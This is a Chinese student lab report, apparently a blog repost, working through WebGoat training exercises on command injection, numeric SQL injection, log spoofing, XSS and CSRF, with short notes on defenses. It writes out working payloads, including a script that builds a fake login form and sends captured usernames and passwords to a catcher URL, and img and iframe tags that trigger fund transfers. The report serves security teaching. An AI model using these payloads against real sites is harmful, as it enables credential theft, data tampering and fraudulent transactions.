zoukankan      html  css  js  c++  java
  • Exp9 Web安全基础

    一、实验目标

    理解和应用常用网络攻击技术的基本原理。

    二、实验步骤

    (一)SQL注入攻击

    1.命令注入:Command Injection

    原理:命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式。如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生。

    步骤:

    选中 Injection Flaws->Command Injection->inspect Element,右键选中inspect Elemnet,对图示的代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

    点击view,查看命令执行结果,可以看到攻击成功,能够看到攻击方与被攻击方建立了连接。

     

    2.数字型注入:Numeric SQL Injection

    原理:当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

    步骤:

    选中Injection Flaws->Numeric SQL Injectio->inspect Element,对源代码value="101"修改,在101后面添加or 1=1。

    or 1=1是返回正确的意思,能够使语句永真。

    3.日志欺骗:Log Spoofing

     原理:向日志添加虚假信息或插入脚本,管理员通过浏览器观看日志时恶意脚本会被执行。

    步骤:

    选择Injection Flaws->Log Spoofing,在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin

    随意输入密码后点击Login,可以看到webgoat登陆失败了,而admin登陆成功了。

     

    (二)XSS攻击

    1.XSS 钓鱼:Phishing with XSS

    原理:创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。

    步骤:

    在搜索框中输入XSS攻击代码,代码如下:

    </form>
    <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

    在搜索框中输入攻击代码后点击Search,出现要输入用户名密码的表单,输入用户名密码,显示攻击成功。

     

    2.Stored XSS Attacks(存储型XSS攻击)

    原理:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

    步骤:

    在Title中随意输入,在message中输入攻击代码<script>alert("lxm attack succeed!");</script>,点击Submit,攻击成功。

    (三)CSRF攻击

    1.Cross Site Request Forgery

    原理:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

    步骤:

    在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4301"/>,在页面右侧一栏可以看到Screen=324&menu=900。点击Submit后,可以看到转走用户4000元的信息,实现CSRF攻击。

     

    2.CSRF Prompt By-Pass

    原理:与1类似,构造CSRF攻击,其包括两个请求,一是转账请求,二是确认转账成功请求。需要额外传递两个参数给服务器(transferFunds=5000, transferFunds=CONFIRM)

    步骤:

    在message中输入以下代码:

    <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe

    攻击成功。

     

    三、实验思考与体会

    (一)基础问题回答

    (1)SQL注入攻击原理,如何防御

    原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

    如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。

    (2)XSS攻击的原理,如何防御

    原理:黑客通过HTML注入篡改网页,插入恶意脚本,即代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。

    如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。

    (3)CSRF攻击原理,如何防御

    原理:攻击者盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。

    如何防御:输入验证码来检测用户;在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token。

    (二)实验体会

    此次实验模拟了网络攻击的几种形式,可以看到在网站建设上要尽量的防止出现漏洞,以防被黑客所利用。

     

  • 相关阅读:
    122. Best Time to Buy and Sell Stock II
    121. Best Time to Buy and Sell Stock
    72. Edit Distance
    583. Delete Operation for Two Strings
    582. Kill Process
    indexDB基本用法
    浏览器的渲染原理
    js实现txt/excel文件下载
    git 常用命令
    nginx进入 配置目录时
  • 原文地址:https://www.cnblogs.com/4301xn/p/12964539.html
Copyright © 2011-2022 走看看